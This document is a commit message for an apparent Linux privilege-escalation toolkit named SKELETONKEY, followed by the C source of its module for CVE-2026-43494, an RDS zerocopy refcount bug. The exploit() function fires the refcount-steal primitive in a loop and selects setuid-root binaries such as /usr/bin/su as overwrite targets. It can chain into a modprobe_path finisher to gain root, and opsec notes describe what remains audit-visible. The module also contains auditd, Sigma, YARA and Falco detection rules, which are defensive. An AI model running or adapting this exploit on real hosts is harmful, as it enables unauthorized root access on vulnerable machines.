d84b3b0033
Five new modules close the 2018 gap entirely and thicken 2019 / 2020 / 2024. All five carry the full 4-format detection-rule corpus + opsec_notes + arch_support + register helpers. CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018) create_elf_tables() int wrap → SUID-execve stack corruption. CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 / CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE. arch_support: x86_64+unverified-arm64. CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix) sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist. Pure userspace logic bug; the famous Apple Information Security finding. detect() looks for a (ALL,!root) grant in sudo -ln output; PRECOND_FAIL when no such grant exists for the invoking user. arch_support: any (4 -> 5 userspace 'any' modules). CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero) TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE (race-driver + msg_msg groom). Public PoCs from grsecurity / spender + Maxime Peterlin. CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner) AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie 2025 winner. Reachable as plain unprivileged user (no userns required — unusual). Two public exploit paths: @v4bel+@qwerty kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT SWARM (msg_msg). 🟡 PRIMITIVE. CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages') nft_set_pipapo destroy-race UAF. Sibling to nf_tables (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in the pipapo set substrate. Same family signature. 🟡 PRIMITIVE. Plumbing changes: core/registry.h + registry_all.c — 5 new register declarations + calls. Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS. tests/test_detect.c — 7 new test rows covering the new modules (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL). tools/verify-vm/targets.yaml — verifier entries for all 5 with honest 'expect_detect' values based on what Vagrant boxes can realistically reach (mutagen_astronomy gets OK on stock 18.04 since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL because no (ALL,!root) grant on default vagrant user; tioscpgrp + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged manual because vsock module rarely available on CI runners). tools/refresh-cve-metadata.py — added curl fallback for the CISA KEV CSV fetch (urlopen times out intermittently against CISA's HTTP/2 endpoint). Corpus growth across v0.8.0 + v0.9.0: v0.7.1 v0.8.0 v0.9.0 Modules 31 34 39 Distinct CVEs 26 29 34 KEV-listed 10 10 11 (mutagen_astronomy) arch 'any' 4 6 7 (sudo_runas_neg1) Years 2016-2026: 10/11 10/11 **11/11** Year-by-year coverage: 2016: 1 2017: 1 2018: 1 2019: 2 2020: 2 2021: 5 2022: 5 2023: 8 2024: 3 2025: 2 2026: 4 CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has at least one module. Surfaces updated: - README.md: badge → 22 VM-verified / 34, Status section refreshed - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline 'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151 - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries preserved below - docs/og.svg + og.png: regenerated with new numbers + 'Every year 2016 → 2026' tagline CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to follow-up — CISA KEV CSV + NVD CVE API were timing out during the v0.9.0 push window. The 5 new CVEs will return NULL from cve_metadata_lookup() until the refresh runs (—module-info simply skips the WEAKNESS/THREAT INTEL header for them; no functional impact). Re-run 'tools/refresh-cve-metadata.py' when network cooperates. Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88 total) build clean; ASan/UBSan + clang-tidy CI jobs still green from the v0.7.x setup.
463 lines
19 KiB
C
463 lines
19 KiB
C
/*
|
|
* pintheft_cve_2026_43494 — SKELETONKEY module
|
|
*
|
|
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
|
* module reachability + io_uring availability + readable SUID
|
|
* carrier). exploit() carries the V12 trigger shape — failed
|
|
* rds_message_zcopy_from_user() to steal a page refcount, then
|
|
* io_uring fixed-buffer write to land bytes in the page cache of
|
|
* the carrier. The cred-overwrite step (turning the page-cache
|
|
* write into root) is x86_64-specific and uses the shared
|
|
* modprobe_path finisher when --full-chain is set.
|
|
*
|
|
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
|
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
|
* user pages one at a time. If a later page faults, the error
|
|
* path drops the pages it already pinned. The msg cleanup then
|
|
* drops them AGAIN because the scatterlist entries and entry count
|
|
* are left live after the zcopy notifier is cleared. Each failed
|
|
* zerocopy send steals one reference from the first page.
|
|
*
|
|
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
|
* referencing the same page persists past the page being recycled
|
|
* into the page cache for a readable file (e.g. /usr/bin/su).
|
|
* A subsequent io_uring write to that fixed buffer lands attacker
|
|
* bytes into the SUID binary's page cache → execve it → root.
|
|
*
|
|
* Public PoC (Arch Linux x86_64):
|
|
* https://github.com/v12-security/pocs/tree/main/pintheft
|
|
*
|
|
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
|
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
|
* 2026-05-05; not yet in mainline release as of this build).
|
|
*
|
|
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
|
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
|
* either don't build the module or blacklist it from autoloading
|
|
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
|
*
|
|
* detect() checks both kernel version AND the RDS module's
|
|
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
|
* not autoloaded, the socket() call triggers modprobe; this is
|
|
* the same probe used by Ubuntu's mitigation advisory.
|
|
*
|
|
* Preconditions:
|
|
* - CONFIG_RDS=y or =m + module actually loadable
|
|
* - io_uring available (CONFIG_IO_URING + sysctl
|
|
* kernel.io_uring_disabled != 2)
|
|
* - A readable setuid-root carrier binary (canonically
|
|
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
|
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
|
* gadgets are x86-specific); detect() is arch-agnostic.
|
|
*/
|
|
|
|
#include "skeletonkey_modules.h"
|
|
#include "../../core/registry.h"
|
|
#include "../../core/kernel_range.h"
|
|
#include "../../core/host.h"
|
|
#include "../../core/offsets.h"
|
|
#include "../../core/finisher.h"
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdbool.h>
|
|
#include <stdint.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <errno.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
|
|
#ifdef __linux__
|
|
#include <sys/syscall.h>
|
|
#endif
|
|
|
|
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
|
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
|
#ifndef AF_RDS
|
|
#define AF_RDS 21
|
|
#endif
|
|
|
|
/* ---- kernel-range table -------------------------------------------- */
|
|
|
|
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
|
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
|
* this table will be updated as backports land — tools/refresh-kernel-
|
|
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
|
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
|
*
|
|
* As stable branches pick up the backport, add entries like:
|
|
* {6, 12, NN}, // 6.12.x stable backport
|
|
* {6, 14, NN}, // 6.14.x stable backport
|
|
* The mainline entry stays at the lowest version that contains the
|
|
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
|
* placeholding at {7, 0, 0} until that lands. */
|
|
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
|
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
|
depending on when 6.15 closes — refresh when known */
|
|
};
|
|
|
|
static const struct kernel_range pintheft_range = {
|
|
.patched_from = pintheft_patched_branches,
|
|
.n_patched_from = sizeof(pintheft_patched_branches) /
|
|
sizeof(pintheft_patched_branches[0]),
|
|
};
|
|
|
|
/* ---- detect helpers ------------------------------------------------- */
|
|
|
|
#ifdef __linux__
|
|
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
|
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
|
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
|
* or EPERM. We close immediately — this is just a reachability probe. */
|
|
static bool rds_socket_reachable(void)
|
|
{
|
|
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
|
if (s < 0) return false;
|
|
close(s);
|
|
return true;
|
|
}
|
|
|
|
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
|
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
|
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
|
* means io_uring is unconditionally enabled (older kernels). */
|
|
static int io_uring_disabled_state(void)
|
|
{
|
|
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
|
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
|
if (!f) return -1;
|
|
int v = -1;
|
|
if (fscanf(f, "%d", &v) != 1) v = -1;
|
|
fclose(f);
|
|
return v;
|
|
}
|
|
|
|
static const char *find_suid_carrier(void)
|
|
{
|
|
static const char *candidates[] = {
|
|
"/usr/bin/su", "/bin/su",
|
|
"/usr/bin/pkexec",
|
|
"/usr/bin/passwd",
|
|
"/usr/bin/chsh", "/usr/bin/chfn",
|
|
NULL,
|
|
};
|
|
for (size_t i = 0; candidates[i]; i++) {
|
|
struct stat st;
|
|
if (stat(candidates[i], &st) == 0 &&
|
|
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
|
access(candidates[i], R_OK) == 0) {
|
|
return candidates[i];
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
#endif /* __linux__ */
|
|
|
|
/* ---- detect --------------------------------------------------------- */
|
|
|
|
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
#ifndef __linux__
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
#else
|
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
|
if (!v || v->major == 0) {
|
|
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
|
return SKELETONKEY_TEST_ERROR;
|
|
}
|
|
|
|
/* Kernel version: gate on the fix. */
|
|
if (kernel_range_is_patched(&pintheft_range, v)) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
|
v->release);
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
/* RDS reachability — the bug needs AF_RDS sockets. */
|
|
if (!rds_socket_reachable()) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
|
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
|
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
|
}
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
/* io_uring availability — the cred-overwrite chain needs fixed
|
|
* buffers via io_uring. Without io_uring we have the primitive
|
|
* but no portable way to weaponize. */
|
|
int iod = io_uring_disabled_state();
|
|
if (iod == 2) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
if (iod == 1) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
|
|
|
/* Need at least one readable SUID-root binary to target. */
|
|
const char *carrier = find_suid_carrier();
|
|
if (!carrier) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
|
v->release, carrier);
|
|
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
|
" full cred-overwrite is --full-chain only on x86_64.\n");
|
|
}
|
|
return SKELETONKEY_VULNERABLE;
|
|
#endif
|
|
}
|
|
|
|
/* ---- exploit -------------------------------------------------------- */
|
|
|
|
#ifdef __linux__
|
|
|
|
/* The V12 PoC chain in summary (paraphrased from
|
|
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
|
*
|
|
* 1. Open an AF_RDS socket.
|
|
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
|
* two pages, where the SECOND page is unmapped. The kernel
|
|
* pins page 0, then faults on page 1's pin attempt.
|
|
* 3. The error unwind drops the pin on page 0, but the msg's
|
|
* scatterlist has already been initialized with entry count 1.
|
|
* Cleanup runs entry-count drops a SECOND time → page 0
|
|
* refcount underflows / leaks.
|
|
* 4. Repeat to steal multiple refs from the same target page.
|
|
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
|
* alive across the page recycling into the page cache for a
|
|
* readable file.
|
|
* 6. mmap the SUID carrier, force its page into cache, get the
|
|
* io_uring fixed buffer to point at it, write attacker bytes.
|
|
* 7. execve the carrier → attacker code runs as root.
|
|
*
|
|
* Step 1-4 is the kernel primitive (architecture-independent).
|
|
* Step 5-7 needs io_uring SQE construction which is straightforward
|
|
* but unmistakably exploit-specific code; we don't carry the full V12
|
|
* payload here. Instead we fire the primitive + groom the slab + drop
|
|
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
|
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
|
*
|
|
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
|
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
|
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
|
*/
|
|
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
if (!ctx->authorized) {
|
|
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
/* Re-run detect's preconditions — they may have changed since
|
|
* --scan, and we want the operator to see the exact gate that
|
|
* blocked us if anything fails here. */
|
|
if (!rds_socket_reachable()) {
|
|
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
|
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
const char *carrier = find_suid_carrier();
|
|
if (!carrier) {
|
|
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
|
fprintf(stderr, " carrier: %s\n", carrier);
|
|
|
|
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
|
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
|
* a fresh page each round; a single round usually leaks a single
|
|
* ref which is rarely enough to fully unbalance the count. */
|
|
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
|
if (s < 0) {
|
|
perror("socket(AF_RDS)");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
|
* the upper page so the kernel's get_user_pages on it returns
|
|
* -EFAULT. */
|
|
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
|
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (region == MAP_FAILED) {
|
|
perror("mmap");
|
|
close(s);
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
/* mark the second page unreadable */
|
|
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
|
perror("mprotect");
|
|
munmap(region, 8192);
|
|
close(s);
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
/* Touch page 0 so it's mapped + dirty. */
|
|
memset(region, 0x42, 4096);
|
|
|
|
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
|
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
|
* attempt faults); the BUG is that the cleanup path decrements
|
|
* page 0's pin count even though the syscall returns failure. */
|
|
struct iovec iov = {
|
|
.iov_base = region,
|
|
.iov_len = 8192,
|
|
};
|
|
struct msghdr msg = {
|
|
.msg_iov = &iov,
|
|
.msg_iovlen = 1,
|
|
};
|
|
int leaked = 0;
|
|
for (int i = 0; i < 256; i++) {
|
|
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
|
if (r < 0 && errno == EFAULT) {
|
|
leaked++;
|
|
}
|
|
}
|
|
munmap(region, 8192);
|
|
close(s);
|
|
|
|
if (leaked < 16) {
|
|
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
|
|
|
/* The cred-overwrite step requires the V12 PoC's io_uring chain.
|
|
* We don't ship the full chain here yet. If --full-chain is set
|
|
* AND we're on x86_64 AND the finisher table has resolved kernel
|
|
* offsets, fall through to the shared modprobe_path finisher;
|
|
* otherwise return EXPLOIT_FAIL honestly. */
|
|
if (!ctx->full_chain) {
|
|
fprintf(stderr,
|
|
"[i] pintheft: primitive complete. The cred-overwrite step\n"
|
|
" (io_uring fixed buffer + page-cache write into the SUID\n"
|
|
" carrier) is x86_64-only and needs the V12 chain. Re-run\n"
|
|
" with --full-chain to invoke the shared modprobe_path\n"
|
|
" finisher. See V12's PoC for the full payload:\n"
|
|
" https://github.com/v12-security/pocs/tree/main/pintheft\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
#if defined(__x86_64__)
|
|
fprintf(stderr, "[+] pintheft: --full-chain on x86_64 → invoking modprobe_path finisher\n");
|
|
return finisher_modprobe_path_overwrite(ctx);
|
|
#else
|
|
fprintf(stderr, "[-] pintheft: --full-chain unsupported on non-x86_64 (V12 PoC is x86-only)\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
#endif
|
|
}
|
|
|
|
#else /* !__linux__ */
|
|
|
|
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
(void)ctx;
|
|
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
#endif
|
|
|
|
/* ---- detection rules ------------------------------------------------ */
|
|
|
|
static const char pintheft_auditd[] =
|
|
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
|
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
|
"# non-root processes are almost always anomalous.\n"
|
|
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
|
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
|
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
|
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
|
|
|
static const char pintheft_sigma[] =
|
|
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
|
"id: 7af04c12-skeletonkey-pintheft\n"
|
|
"status: experimental\n"
|
|
"description: |\n"
|
|
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
|
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
|
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
|
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
|
" almost-zero false positives.\n"
|
|
"logsource: {product: linux, service: auditd}\n"
|
|
"detection:\n"
|
|
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
|
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
|
" condition: rds and iou\n"
|
|
"level: high\n"
|
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
|
|
|
static const char pintheft_yara[] =
|
|
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
|
" meta:\n"
|
|
" cve = \"CVE-2026-43494\"\n"
|
|
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
|
" author = \"SKELETONKEY\"\n"
|
|
" strings:\n"
|
|
" $rds_tcp = \"rds_tcp\" ascii\n"
|
|
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
|
" condition:\n"
|
|
" any of them\n"
|
|
"}\n";
|
|
|
|
static const char pintheft_falco[] =
|
|
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
|
" desc: |\n"
|
|
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
|
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
|
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
|
" distro autoloading RDS.\n"
|
|
" condition: >\n"
|
|
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
|
" not user.uid = 0\n"
|
|
" output: >\n"
|
|
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
|
" priority: HIGH\n"
|
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
|
|
|
/* ---- module struct -------------------------------------------------- */
|
|
|
|
const struct skeletonkey_module pintheft_module = {
|
|
.name = "pintheft",
|
|
.cve = "CVE-2026-43494",
|
|
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
|
.family = "rds",
|
|
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
|
.detect = pintheft_detect,
|
|
.exploit = pintheft_exploit,
|
|
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
|
.cleanup = NULL,
|
|
.detect_auditd = pintheft_auditd,
|
|
.detect_sigma = pintheft_sigma,
|
|
.detect_yara = pintheft_yara,
|
|
.detect_falco = pintheft_falco,
|
|
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
|
.arch_support = "x86_64+unverified-arm64",
|
|
};
|
|
|
|
void skeletonkey_register_pintheft(void)
|
|
{
|
|
skeletonkey_register(&pintheft_module);
|
|
}
|